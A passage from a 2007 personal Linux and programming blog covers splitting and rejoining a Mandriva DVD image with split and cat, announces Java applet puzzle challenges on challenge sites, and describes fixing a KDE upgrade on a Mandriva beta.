2008.0 was scheduled to be released on 27 September, but there were so many critical bugs that it hasn't been out yet. That's no surprise to me as there have been so many delays to the older versions. A bit disappointed, but I'd rather wait than getting an unstable release.
In the meantime I'll tell you how I could move the big DVD isos from one computer to another with just a 2GB USB flash. It's really easy with the following wonderful linux (or rather, unix) commands:
- split: This command helps you split a file into smaller files of equal sizes. The most important option is -b which specifies the file size, with the following multiplier suffixes: b for 512, k for 1K, m for 1 Meg. The beta2 DVD iso was 3.1GB, so I splitted it into 2 files of 1600M each:
split -b 1600m mandriva-linux-2008.0-free-beta2.i586.iso
This command will produce 2 files named xaa and xab.
- cat: Not only help you view the file content, this command also joins files together. It is pretty easy to use:
cat xaa xab > mandriva-linux-2008.0-free-beta2.i586.iso
With just 2 commands you can probably get everything. But as the files are pretty big you should use checksums to make sure there's no error in transmission. Linux provides 2 common checksum tools: md5sum and sha1sum. md5sum is faster and enough for everyday use.
PS. There's this really cool sourceforge project that provides ports of many common unix tools for Windows: http://unxutils.sourceforge.net/. Long live the penguin empire :D
Monday, September 17, 2007
quangntenemy teaches java 2 is up!
It must be my lucky day. The jackpot is up at rankk, and now qtj2 has finally been published at tbs too. This second challenge of the qtj series will teach you about object oriented programming in Java.
With 2 challenges being published the same day, I only have a "few" things left to do. The applet tutorial has been pending for so long. And some changes need to be made to "Message Me" to make it solvable. Then some more updates to my website, Steganabara, CryptoBox and of course the bbq project ;)
Stay ready for all the good news ;)
Posted by
quangntenemy
at
4:50 PM
0
comments
Labels: applet, java, message me, object oriented, qtj, tutorial
New applet chall! The jackpot
4 years ago, as a student taking the Java programming course instructed by Professor Dave Elliman, I was given the task to fix a broken code for a Fruit machine. It was my first approach to Swing and I really enjoyed it. Although broken, the code was really well designed that it really took me very little time to get the machine working. Being really enjoyed, I enhanced the code even more and the lab instructor was really impressed.
Last week while discussing with Sphinx about writing a Jackpot as the next applet chall, the old code came to my mind. And now it has been recycled to become a real cool challenge. Among the applets I have created, this one has the nicest graphics. The broken code now has become a real gem ;) But don't be lured for its disguise. You'll scream in horror once you see the devils that are protecting those precious gems :P
Curious? If you have yet to create an account at rankk, do so right now and climb up to level 7 to defeat this chall!
Posted by
quangntenemy
at
3:44 AM
1 comments
Sunday, September 16, 2007
Taming the penguin - Part 3
You know, I had Mandriva 2007, but I still wanted to get the latest packages, especially KDE, the best desktop environment out there. In Mandriva, this can be done easily with a single command:
Once again things didn't go on so well - that's the thing I hate the most about Mandriva betas. As an experienced Mandriva user, I logged into failsafe trying to start KDE from text mode and debug the problem. Here's the important command sequence:
urpmi task-kde
xinit
startkde &
From the error output I found out that the arts package was missing. I installed it and voila, the system booted smoothly :)
Now I can live happily until the official 2008.0 release comes out - hopefully before October :)
